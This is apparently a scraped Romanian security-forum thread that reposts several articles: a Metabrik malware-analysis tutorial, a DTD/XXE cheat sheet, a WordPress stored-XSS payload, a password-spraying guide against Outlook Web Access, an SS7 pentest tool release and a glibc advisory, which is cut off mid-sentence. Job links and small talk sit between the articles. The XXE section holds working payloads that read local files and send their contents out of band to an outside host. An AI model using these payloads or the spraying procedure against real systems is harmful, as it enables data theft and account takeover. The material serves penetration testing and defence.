Nytro

Malware analysis with VM instrumentation, WMI, winexe, Volatility and Metabrik In this article, we will show how to take advantage of Metabrik to automate some malware analysis tasks. The goal will be to execute a malware in a virtual machine (VM), just after you saved a snapshot of Windows operating system. In our example, this snapshot only includes running processes, but you will see you can do more than just that. Here, we introduce remote::wmi, remote::winexeand system::virtualbox Briks. We will also introduce the forensic::volatility Brik which can help you perform dynamic malware analysis and extract IOCs, for instance. Tip: you can use <tab> keystroke to complete Brik names and Commands while using The Metabrik Shell. Setting up the environment wmic and winexe are programs that have to be compiled by yourself. Fortunately,Metabrik makes this process as easy as running the install Command. Since wmicand winexe programs ship with the same software suite, you just have to runinstall Command for one of remote::wmi or remote::winexe Briks. We don’t run the install Command with system::virtualbox Brik, because we suppose you already have some VitualBox VMs installed. use brik::tool use remote::wmi use remote::winexe use forensic::volatility help remote::wmi help remote::winexe help forensic::volatility run brik::tool install_needed_packages remote::wmi run brik::tool install_needed_packages remote::volatility Your VM also has to be configured to allow WMI accesses for a given user, and have the WINEXESVC service started. Some help on how to do that can be found inremote::wmi and remote::winexe Briks source code. Starting a VM and taking a snapshot Our environment is up and running. Let’s start a VM and take a snapshot before we execute a malware within it remotely. For the purpose of this exercise, the malware will simply be calc.exe program. use system::virtualbox help system::virtualbox run system::virtualbox list Let’s start our Windows machine in headless mode: we don’t want to speak with this kind of GUI. set system::virtualbox type headless run system::virtualbox start 602782ec-40c0-42ba-ad63-4e56a8bd5657 run system::virtualbox snapshot_live 602782ec-40c0-42ba-ad63-4e56a8bd5657 "before calc.exe" I know the IP address of the machine, but you could have found it by using ARP scanning on vboxnet0 interface thanks to the network::arp Brik. my $win = '192.168.56.101' my $user = 'Administrator' my $password = 'YOUR_SECRET' set remote::wmi host $win set remote::wmi user $user set remote::wmi password $password set remote::winexe host $win set remote::winexe user $user set remote::winexe password $password run remote::wmi get_win32_process for (@$RUN) { print $_->{Name}."\n"; } You should see no calc.exe right now. Now, launch the calc.exe program and search in the process list if you can find it. Note that you will have to run Ctrl+C keystrokes because the program will block here. But calc.exe should still be running on the remote host. run remote::winexe execute "cmd.exe /c calc.exe" run remote::wmi get_win32_process my @processes = map { $_->{Name} } @$RUN my $found = grep { /calc.exe/ } @processes In the below screenshot, you will see 2 as a result to the grep command. That’s because we ran two times the execute Command with calc.exe during our testing. Now, we will restore the VM to its default state, when calc.exe “malware” was not yet run. run system::virtualbox stop 602782ec-40c0-42ba-ad63-4e56a8bd5657 run system::virtualbox snapshot_restore 602782ec-40c0-42ba-ad63-4e56a8bd5657 "before calc.exe" run system::virtualbox start 602782ec-40c0-42ba-ad63-4e56a8bd5657 run remote::wmi get_win32_process my @processes = map { $_->{Name} } @$RUN my $found = grep { /calc.exe/ } @processes All clear. No more calc.exe process. You spoke about Volatility? Yes. And that’s where it starts to get interesting. You can do the same processes analysis with Volatility (and of course much more). To use Volatility, you need a dump of the system’s memory. To acquire this dump, it’s as simple as using thesystem::virtualbox dumpguestcore Command. Then, you have to extract the memory dump that is part of the generated core file. You will use the extract_memdump_from_dumpguestcore Command. Then, you will be able to perform forensic stuff on this memory dump, for instance to search if calc.exe has been popped. If you go back to the original subject -malware analysis-, you will find the Volatility is the tool of choice to check what a malware you just run with remote::winexe Brik did to processes, network handles or registry. That’s a perfect combination of tools to extract IOCs from a malware. run system::virtualbox dumpguestcore 602782ec-40c0-42ba-ad63-4e56a8bd5657 dump.core run system::virtualbox extract_memdump_from_dumpguestcore dump.core dump.volatility We have a dump usable by Volatility. Let’s dig into it with forensic::volatility Brik: use forensic::volatility set forensic::volatility input dump.volatility run forensic::volatility imageinfo set forensic::volatility profile $RUN->[0] run forensic::volatility pslist And voilà. A feature of WINEXESVC: get a remote shell on Windows One last screenshot in regards to remote::winexe Brik: how to get a Windows remote shell: run remote::winexe execute cmd.exe Conclusion We have seen that we can easily perform malware analysis on a Windows machine by using a combination of Briks. By combining features of different tools (VirtualBox, winexe and Volatility) we can, for instance, analyse consequences of running a malware on a machine. Extracting IOCs from a malware is something useful if you want to find which machines were infected on your information systems from a particuliar sample. You could then use remote::wmi Brik to scan your network for these specific patterns. Extracting IOCs is a huge topic in itself, and we just scratched the surface here by using a dynamic method associated with a “scapegoat” VM. Another way of extracting IOCs is to use static analysis, but that’s a complete different story. We urge you to play with Volatility (and of course Metabrik), you will see how powerful it could be. Enjoy. Sursa: https://www.metabrik.org/blog/2016/01/09/malware-analysis-with-vm-instrumentation-wmi-winexe-volatility-and-metabrik/

Mittwoch, 2. März 2016 DTD Cheat Sheet When evaluating the security of XML based services, one should always consider DTD based attack vectors, such as XML External Entities (XXE) as,for example, our previous post XXE in SAML Interfaces demonstrates. In this post we provide a comprehensive list of different DTD attacks. The attacks are categorized as follows: Denial-of-Service Attacks Classic XXE Advanced XXE Server-Side Requst Forgery (SSRF) XInclude XSLT Denial-of-Service Attacks Testing for Entity Support <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;"> ]> <data>&a2;</data> If this test is successful and and parsing process is slowed down, there is a high probability that your parser is configured insecurely and is vulnerable to at least one kind of DoS. Billion Laughs Attack (Klein, 2002) <!DOCTYPE data [ <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"> <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"> ]> <data>&a4;</data> This file expands to about 30 KByte but has a total of 11111 entity references and therefore exceeds a reasonable threshold of entity references. Source Billion Laughs Attack - Parameter Entities (Späth, 2015) <!DOCTYPE data SYSTEM "http://127.0.0.1:5000/dos_indirections_parameterEntity_wfc.dtd" [ <!ELEMENT data (#PCDATA)> ]> <data>&g;</data> File stored on http://publicServer.com/dos.dtd <!ENTITY % a0 "dos" > <!ENTITY % a1 "%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;"> <!ENTITY % a2 "%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;"> <!ENTITY % a3 "%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;"> <!ENTITY % a4 "%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;"> <!ENTITY g "%a4;" > Quadratic Blowup Attack <!DOCTYPE data [ <!ENTITY a0 "dosdosdosdosdosdos...dos" ]> <data>&a0;&a0;...&a0;</data> Source Recursive General Entities This vector is not well-formed by [WFC: No Recursion]. <!DOCTYPE data [ <!ENTITY a "a&b;" > <!ENTITY b "&a;" > ]> <data>&a;</data> External General Entities (Steuck, 2002) The idea of this attack is to declare an external general entity and reference a large file on a network resource or locally (e.g. C:/pagefile.sys or /dev/random). However, conducting DoS attacks in such a manner is only applicable by making the parser process alarge XML document. <?xml version='1.0'?> <!DOCTYPE data [ <!ENTITY dos SYSTEM "file:///publicServer.com/largeFile.xml" > ]> <data>&dos;</data> Source Classic XXE Classic XXE Attack (Steuck, 2002) <?xml version="1.0"?> <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY file SYSTEM "file:///sys/power/image_size"> ]> <data>&file;</data> We use the file '/sys/power/image_size' as an example, because it is a very simple file (one line, no special characters). This attack requires a direct feedback channel and reading out files is limited by "forbidden characters in XML" such as "<" and "&". If such characters occur in the accessed file (e.g. /etc/fstab) the XML parser raises an exception and stops the parsing of the message. Source XXE Attack using netdoc <?xml version="1.0"?> <!DOCTYPE data [ <!ELEMENT data (#PCDATA)> <!ENTITY file SYSTEM "netdoc:/sys/power/image_size"> ]> <data>&file;</data> Source: @Nirgoldshlager Evolved XXE Attacks - Direct Feedback Channel This class of attacks vectors is called evolved XXE attacks and is used to (i) bypass restrictions of classic XXE attacks and (ii) for Out-of-Band attacks. Bypassing Restrictions of XXE (Morgan, 2014) <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///sys/power/image_size"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://publicServer.com/parameterEntity_core.dtd"> %dtd; ]> <data>&all;</data> File stored on http://publicServer.com/parameterEntity_core.dtd <!ENTITY all '%start;%goodies;%end;'> Source Bypassing Restrictions of XXE (Späth, 2015) <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_doctype.dtd"> <data>&all;</data> File stored on http://publicServer.com/parameterEntity_doctype.dtd <!ELEMENT data (#PCDATA)> <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///sys/power/image_size"> <!ENTITY % end "]]>"> <!ENTITY all '%start;%goodies;%end;'> XXE by abusing Attribute Values (Yunusov, 2013) This vector bypasses [WFC: No External Entity References]. <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd"> %remote; ]> <data attrib='&internal;'/> File stored on http://publicServer.com/external_entity_attribute.dtd <!ENTITY % payload SYSTEM "file:///sys/power/image_size"> <!ENTITY % param1 "<!ENTITY internal '%payload;'>"> %param1; Source Evolved XXE Attacks - Out-of-Band channels Just because there is no direct feedback channel available does not imply that an XXE attack is not possible. XXE OOB Attack (Yunusov, 2013) <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd"> <data>&send;</data> File stored on http://publicServer.com/parameterEntity_oob.dtd <!ENTITY % file SYSTEM "file:///sys/power/image_size"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>"> %all; Source XXE OOB Attack - Parameter Entities (Yunusov, 2013) Here is a variation of the previous attack using only parameter entities. <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendhttp.dtd"> %remote; %send; ]> <data>4</data> File stored on http://publicServer.com/parameterEntity_sendhttp.dtd <!ENTITY % payload SYSTEM "file:///sys/power/image_size"> <!ENTITY % param1 "<!ENTITY &#37; send SYSTEM 'http://publicServer.com/%payload;'>"> %param1; Source XXE OOB Attack - Parameter Entities FTP (Novikov, 2014) Using the FTP protocol, an attacker can read out files of arbitrary length. <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd"> %remote; %send; ]> <data>4</data> File stored on http://publicServer.com/parameterEntity_sendftp.dtd <!ENTITY % payload SYSTEM "file:///sys/power/image_size"> <!ENTITY % param1 "<!ENTITY &#37; send SYSTEM 'ftp://publicServer.com/%payload;'>"> %param1; This attack requires to setup a modified FTP server. However, adjustments to this PoC code are probably necessary to apply it to an arbitrary parser. Source SchemaEntity Attack (Späth, 2015) We identified three variations of this attack using (i) schemaLocation, (ii) noNamespaceSchemaLocation and (iii) XInclude. schemaLocation <?xml version='1.0'?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd"> %remote; ]> <ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:ttt="http://test.com/attack" xsi:schemaLocation="ttt http://publicServer.com/&internal;">4 noNamespaceSchemaLocation <?xml version='1.0'?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd"> %remote; ]> <data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://publicServer.com/&internal;"></data> XInclude <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd"> %remote; ]> <data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://192.168.2.31/&internal;" parse="text"></xi:include></data> File stored on http://publicServer.com/external_entity_attribute.dtd <!ENTITY % payload SYSTEM "file:///sys/power/image_size"> <!ENTITY % param1 "<!ENTITY internal '%payload;'>"> %param1; SSRF Attacks DOCTYPE <?xml version="1.0"?> <!DOCTYPE data SYSTEM "http://publicServer.com/" [ <!ELEMENT data (#ANY)> ]> <data>4</data> External General Entity (Steuck, 2002) <?xml version='1.0'?> <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY remote SYSTEM "http://internalSystem.com/file.xml"> ]> <data>&remote;</data> Although it is best to reference a well-formed XML file (or any text file for that matter), in order not to cause an error, it is possible with some parsers to invoke an URL without referencing a not well-formed file. Source External Parameter Entity (Yunusov, 2013) <?xml version='1.0'?> <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY % remote SYSTEM "http://publicServer.com/url_invocation_parameterEntity.dtd"> %remote; ]> <data>4</data> File stored on http://publicServer.com/url_invocation_parameterEntity.dtd <!ELEMENT data2 (#ANY)> Source XInclude <?xml version='1.0'?> <data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data> File stored on http://publicServer.com/file.xml <?xml version='1.0' encoding='utf-8'?><data>it_works</data> schemaLocation <?xml version='1.0'?> <ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:ttt="http://test.com/attack" xsi:schemaLocation="http://publicServer.com/url_invocation_schemaLocation.xsd">4</ttt:data> File stored on http://publicServer.com/url_invocation_schemaLocation.xsd <?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="data" type="xs:string"/> </xs:schema> or use this file <?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://test.com/attack"> <xs:element name="data" type="xs:string"/> </xs:schema> noNamespaceSchemaLocation <?xml version='1.0'?> <data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd">4</data> File stored on http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd <?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="data" type="xs:string"/> </xs:schema> XInclude Attacks (Morgan, 2014) <data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="/sys/power/image_size"></xi:include></data> Source XSLT Attacks <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:value-of select="document('/sys/power/image_size')"> </xsl:value-of></xsl:template> </xsl:stylesheet> Authors of this Post Christopher Späth Christian Mainka (@CheariX) Vladislav Mladenov Sursa: http://web-in-security.blogspot.ro/2016/03/xxe-cheat-sheet.html

Wordpress <= 4.3 Stored XSS [caption width="1" caption='<img src="//google.com/favicon.ico?' ">]</a><a href="http://onload='alert(1)'"> PS: Nu l-am testat.

O sa intreb la HR daca se poate, dar in principal sunt Full Time. Daca problema e cumva prezenta la facultate, cred ca nu e chiar o problema. Edit: Acel post este doar full-time.

Job-uri disponibile la inceput de martie: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/search/4072070 Cateva job-uri selectate: Penetration Testing Consultant: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/principal-consultant-penetration-testing-75285 Java Software Development Sr. Analyst: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/java-software-development-sr-analyst-80439 Network Security - Firewall Auditor: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/network-security-firewall-auditor-75062 Level 2 Technical Support Analyst: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/level-2-technical-support-analyst-81957 Firewall Engineer: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/firewall-engineer-81902 Windows System Administrator: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/windows-system-administrator-82417 Network Security Specialist - Firewall: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/network-security-specialist-firewall-80904 Technical Support Manager: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/technical-support-manager-81197 Junior Java Software Developer: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/java-software-development-analyst-81635 Incident Management Advisor: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/incident-management-advisor-83159 Junior Linux Admin: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/junior-linux-admin-83064 .NET Software Development Advisor: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/.net-software-development-advisor-83641 Java Software Developer: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/java-software-developer-82960 Senior Java Software Developer: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/senior-java-software-developer-82976 Senior Virtualization Administrator: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/senio-virtualization-administor-83424 Back-Up and Recovery Administrator: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/back-up-and-recovery-administrator-83426 Network Security Consultant: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/network-security-consultant-83755 Senior Windows Administrator: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/senior-windows-administrator-83765 IT Change Manager: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/it-change-manager-83887 Junior Information Security Specialist: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/junior-information-security-specialist-83932 IDS Support Engineer: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/ids-support-engineer-83942 Firewall Support Sr. Engineer: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/firewall-support-sr-engineer-83948 Platform Security Sr. Engineer: https://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/platform-security-sr-engineer-83951 Daca aveti o intrebare imi puteti trimite un PM. // Nytro

Ce? S-a postat peste tot ca fiind un ditamai 0day-ul si e un cacat de XSS?

Haaaa Nytro e mai boss ca @Zatarra Nytro e Linux Nytro e kernel Nytro e mysqld

Test: Utila functionalitatea. Cand postati un link de pe forum, se produce efectul de mai sus.

Password Spraying Outlook Web Access - How to Gain Access to Domain Credentials Without Being on a Target's Network: Part 2 February 17, 2016 | Beau Bullock This is part two of a series of posts (See part 1 here) where I am detailing multiple ways to gain access to domain user credentials without ever being on a target organization's network. The first method involves exploiting password reuse issues where a user might have reused the same password they used for their corporate domain account on another external service. The second method is what I think is a far more interesting way of gathering user credentials that involves discovering a target organization's username schema, followed by password spraying user accounts against an externally facing service that is hosted by the target organization (for example an Outlook Web Access portal). Other methods will follow these posts. In part 2, I will detail how an attacker can discover a target organization’s username schema and perform password spraying attacks against an externally facing service. The Dangers of Metadata and Publicly Facing Authentication Services Very commonly on assessments we tend to look for documents that are hosted by a target organization, and are publicly available to download. The reason we do this is because we find that very commonly organizations do a very bad job of scrubbing the metadata attached to the items they post publicly. Some very interesting things can be found in the metadata that gets attached to files. For example, if you take a photo with your cell phone and you have GPS enabled, many times that GPS location information will be attached to the picture itself. From an operational security perspective if you were to take a photo of a secure location and have GPS enabled, then posting that picture online might reveal the actual coordinates of the location you took the photo. New Profile Pic! When we look at analyzing metadata of Word documents, Excel files, PDFs, PowerPoint presentations, and more that organizations post publicly, we find very often that we can actually gain access to computer names, folder structures, as well as user names of those that created the files themselves. A great tool for quickly finding metadata and analyzing it in publicly available files of a target organization is called FOCA. You can download FOCA here: https://www.elevenpaths.com/labstools/foca/index.html FOCA simply performs Google and Bing searches with the “filetype” parameter. You can provide Google with a search like the following to search for all of the PDF files associated with the “targetorganization.net” domain: “site:targetorganization.net filetype:doc”. If you provide FOCA a target domain it starts with the top level domain and will subsequently find other subdomains where potential files are located. FOCA will then download any of these files and analyze the metadata attached to the files. On a recent engagement I ran FOCA against the domain of the target organization that I was testing. When I looked at the metadata that FOCA was able to gather from the files that were being hosted publicly I found a large number of what appeared to be user names. In fact, I was able to discover what appeared to be their actual naming convention. This naming convention did not appear to be a random or hard to guess at all. What I mean by that is that I was able to very easily craft a list of every possible combination of their username schema. For example, imagine a username schema that starts out each username with the word ‘emp’, and then simply appends the three letter initials of the employee (abc). So a possible full username would be ‘empabc’. The total number of three-character permutations of the letters ‘a’ through ‘z’ is 17,576. So, to hit every possible username combination from ‘empaaa’ through ‘empzzz’ is 17,576. I generated a list containing each of the possible permutations. Password Spraying Outlook Web Access So, now that I had a list of possibly every username combination for the target organization what could I do next as an external attacker? Next, an external attacker would have to locate some sort of external service that performs domain-based authentication. One such service that does this that we find very often is Microsoft’s Outlook Web Access (OWA). Organization’s provide the ability for their employees to access their email remotely through services like OWA. The authentication that happens when a user logs into OWA is typically domain-based, meaning that the credential used to authenticate is checked against the domain for validity. After locating an external OWA portal an attacker could brute force passwords, but will quickly lockout accounts if a lockout threshold is in place. A far more superior way of performing password attacks is called password spraying. Password spraying involves attempting to login with only one (very strategically chosen) password across all of the domain accounts. This allows an attacker to attempt many more authentication attempts without locking out users. For example, if I were to attempt to login to every account with the password ‘Winter2016’ it is very likely that someone at the target organization used that password and I will now have access to their account. Some things to consider when performing an external password spray attack: Be extremely mindful of lockout thresholds! If you submit too many bad passwords in a given amount of time you are going to lock accounts out. Without being on the target network it is impossible to know exactly what the domain account policy enforces. That being said, by default Windows default domain account policy does not enforce a lockout of any kind. This means that technically you could brute force any user’s password without locking them out. I have yet to run into an environment that does not have some sort of lockout policy. Very commonly I find that environments set their lockout policy to five (5) failed logins within a 30 minute observation window. Just use one password for spraying every two hours. This is a reasonable window that will likely not get you into a situation where you are locking out accounts. Be in close contact with your point of contact at the company to verify you are not locking anyone out. I once again used Burp Suite’s Intruder functionality to submit one login attempt for each possible username using one password. Performing a password attack in this manner limits the risk of locking out accounts as only a single login attempt is performed for each account. For example BHIS submitted the userID ‘targetorg\empaaa’ with a password of ‘Winter2015’. After this attempt the same password would be tried with ‘targetorg\empaab’, and continue on all the way to ‘targetorg\empzzz’. To do this I first setup Burp Suite to intercept all of the requests leaving my browser. I attempted to login to the OWA portal with a userID of ‘targetorg\test’ and a password of ‘Testing123’. The POST request to the OWA portal looked like the following: I then sent this request to Intruder. For this first example we will leave the attack type as ‘Sniper’. In Burp Intruder I specified only one payload position. The username is all that is going to change during the attack so this is where we add the payload position. The password will remain ‘Testing123’ or whatever you set it to be (I highly recommend season and year like ‘Winter2015’). On the payloads tab I now imported the list of probable usernames I generated. One thing I noticed was that Outlook Web Access responds to the POST request by simply setting a cookie in the browser and redirecting to the root “/” page. OWA did this for every login attempt regardless of whether the login was valid or not. So, in order for Burp to follow through with the authentication process we need to set one more setting before launching the attack. On the Options tab of Burp Intruder at the very bottom select the option to “Follow redirections” for “On-Site only”. Also, click the checkbox to “Process cookies in redirections”. Starting the attack now one can see where Burp Intruder is following each of the redirects that occur during the authentication process to OWA. The only thing left to do is to sort by the length of the response as valid authentication attempts responded with a shorter response length. In the screenshot below OWA redirects four times before hitting a page indicating a successful login. I ultimately was able to gain access to a large number of accounts via this technique. As can be seen in the screenshot below the requests that generated a response length of around 4371, and 1630 were valid user credentials. The requests that generated a response length of 12944 were failed login attempts. In the scenario I’ve demonstrated above I was utilizing the ‘Sniper’ functionality in Burp. This was mainly to avoid account lockout and only change the userID field. Being in close contact with my target organization I knew what the actual lockout threshold was as well as the observation window. In order to maximize the effectiveness of my password spraying I utilized Burp Intruder’s “Cluster Bomb” attack. With the Cluster Bomb attack you can specify two payload positions. I selected the username and password fields as my payload positions. Cluster Bomb will also allow you to specify two lists to use with each payload position. So I left the username position the same as previously with my list of potential users. I then crafted a list of 10 or so passwords that I thought would work nicely to password spray with. The Cluster Bomb attack will now iterate through all of the usernames with one of these passwords at a time. Once the spray is done for one password it will move onto the next. For example the spray would go through the entire username list with a password of Winter15, then after that spray is finished it would move onto Winter16. With my list of 17575 usernames the time it took to spray the entire list with one password was far out of the observation window in terms of lockout so I didn’t have anything to worry about there. In the example I gave above I was currently assigned to perform an external network assessment and an internal pivot assessment for the target organization. After password spraying externally over the weekend before I was scheduled to begin the internal pivot assessment I gained access to a total of 130 valid user credentials. The target organization did not detect any of the password spraying activity through their external portal. It is probably safe to say that an attacker could password spray for weeks on end gaining access to many more accounts via this technique. In this post I focused on password spraying against OWA specifically. There are many other services that this same type of attack could apply to. For example, an attacker can perform password spraying attacks against Microsoft RDP servers, SMTP servers, SSL VPN’s, and more. A great tool for doing this against most of these services is called Patator and can be found here: https://github.com/lanjelot/patator Just to recap, the steps of this approach to gathering user credentials follow: Locate publicly available files with FOCA on websites of the target organization. Analyze the metadata from those files to discover usernames and figure out their username convention. Craft a list of their entire possible username space. Password spray against an external system that performs domain authentication (like Outlook Web Access) using the username list you generated. Profit? Recommendations: Analyze all of the documents your organization is hosting publicly for information leakage via metadata. Implement policies and procedures to scrub the metadata from anything that is going to be posted publicly. Watch your OWA and any other external authentication portals for multiple failed login attempts and password spraying activity. Create stronger password policies beyond the default 8 characters (we typically recommend 15 or more). Force users to use two-factor authentication. In the event someone does password spray a user if two-factor authentication is enabled they won’t gain access to much. ______ Beau is a Security Analyst at BHIS, he also does episodes of Hack Naked TV. Read more about him here. Sursa: http://www.blackhillsinfosec.com/#!Password-Spraying-Outlook-Web-Access-How-to-Gain-Access-to-Domain-Credentials-Without-Being-on-a-Targets-Network-Part-2/c1592/56c1f10e0cf2365fef58cce1

Informatii detaliate: https://sourceware.org/ml/libc-alpha/2016-02/msg00416.html

#include <rst>

Exista sintaxa colorata insa nu merge cum ar trebui. Le-am raportat problema si sper sa o rezolv in curand, insa boschetii astia tot imi cer acces FTP si de admin si le zic de fiecare data ca nu le dau Cred ca pot ascunde textul din spoilers pentru Guests, doar ca nu am vazut sa se foloseasca prea mult. Edit: Am pus "Allowed CSS classes", ceva clase, si pare sa mearga cat de cat. Nu stiu daca e complet functional sau trebuie sa mai adaug si altele, dar e cat de cat ok.

ss7MAPer – A SS7 pen testing toolkit Posted by Daniel Mende While running some SS7 pentests last year, I developed a small tool automating some of the well-known SS7 attack cases. Today I’m releasing the first version of ss7MAPer, a SS7 MAP (pen-)testing toolkit. The toolkit is build upon the Osmocom SS7 stack and implements some basic MAP messages. At its current state tests against the HLR are ready for use, in future versions tests against VLR, MSC andSMSC will follow. The source code of the tool is published on github, feel free to use and extend. The tool is written in Erlang; to get it runing you will need the Erlang runtime environment. It is developed for version 17.5. As example, the screenshot below shows the output of the tool against a HLR, testing which MAP messages are accepted and the results given back. As you can see in the picture, the demonstrated test cases for the HLR respond to most of the MAP messages regardless the fact that we are not registered as valid provider. The tool is not configured as a serving MSC nor a roaming contractor. Some of the information gathered can be seen as critical, as the MSISD -> IMSI resolution, the over-the-air crypto keys or the ability to create supplementary services e.g. call forwardings. The code (and its dependencies) are not that easy to compile but I tried to give a complete step by step instructions in the README file. The messages and test cases are gathered from public SS7 research of the last years (see 1, 2) and check for known weaknesses in the SS7 domain. The tool itself was developed under a cooperation with the belgium provider Proximus and aims to test the secure configuration of the internal and external SS7 network access. Thanks a lot for giving us the opportunity here, we are convinced that the tool gives the research community but also telecommunication providers a new, important and (especially) open-source-based possibility for SS7 testing. More about the tool and SS7 testing on Troopers TelcoSecDay, Telco Network Security & Network Protocol Fuzzing Workshop. That’s it, get the code, try the tool. Best wishes from Heidelberg. /daniel Sursa: https://www.insinuator.net/2016/02/ss7maper-a-ss7-pen-testing-toolkit/

CVE-2015-7547: glibc getaddrinfo stack-based buffer overflow Posted: Tuesday, February 16, 2016 Posted by Fermin J. Serna, Staff Security Engineer and Kevin Stadmeyer, Technical Program Manager Have you ever been deep in the mines of debugging and suddenly realized that you were staring at something far more interesting than you were expecting? You are not alone! Recently a Google engineer noticed that their SSH client segfaulted every time they tried to connect to a specific host. That engineer filed a ticket to investigate the behavior and after an intense investigation we discovered the issue lay in glibc and not in SSH as we were expecting. Thanks to this engineer’s keen observation, we were able determine that the issue could result in remote code execution. We immediately began an in-depth analysis of the issue to determine whether it could be exploited, and possible fixes. We saw this as a challenge, and after some intense hacking sessions, we were able to craft a full working exploit! In the course of our investigation, and to our surprise, we learned that the glibc maintainers had previously been alerted of the issue via their bug tracker in July, 2015. (bug). We couldn't immediately tell whether the bug fix was underway, so we worked hard to make sure we understood the issue and then reached out to the glibc maintainers. To our delight, Florian Weimer and Carlos O’Donell of Red Hat had also been studying the bug’s impact, albeit completely independently! Due to the sensitive nature of the issue, the investigation, patch creation, and regression tests performed primarily by Florian and Carlos had continued “off-bug.” This was an amazing coincidence, and thanks to their hard work and cooperation, we were able to translate both teams’ knowledge into a comprehensive patch and regression test to protect glibc users. That patch is available here. Issue Summary: Our initial investigations showed that the issue affected all the versions of glibc since 2.9. You should definitely update if you are on an older version though. If the vulnerability is detected, machine owners may wish to take steps to mitigate the risk of an attack. The glibc DNS client side resolver is vulnerable to a stack-based buffer overflow when the getaddrinfo() library function is used. Software using this function may be exploited with attacker-controlled domain names, attacker-controlled DNS servers, or through a man-in-the-middle attack. Google has found some mitigations that may help prevent exploitation if you are not able to immediately patch your instance of glibc. The vulnerability relies on an oversized (2048+ bytes) UDP or TCP response, which is followed by another response that will overwrite the stack. Our suggested mitigation is to limit the response (i.e., via DNSMasq or similar programs) sizes accepted by the DNS resolver locally as well as to ensure that DNS queries are sent only to DNS servers which limit the response size for UDP responses with the truncation bit set. Technical information: glibc reserves 2048 bytes in the stack through alloca() for the DNS answer at _nss_dns_gethostbyname4_r() for hosting responses to a DNS query. Later on, at send_dg() 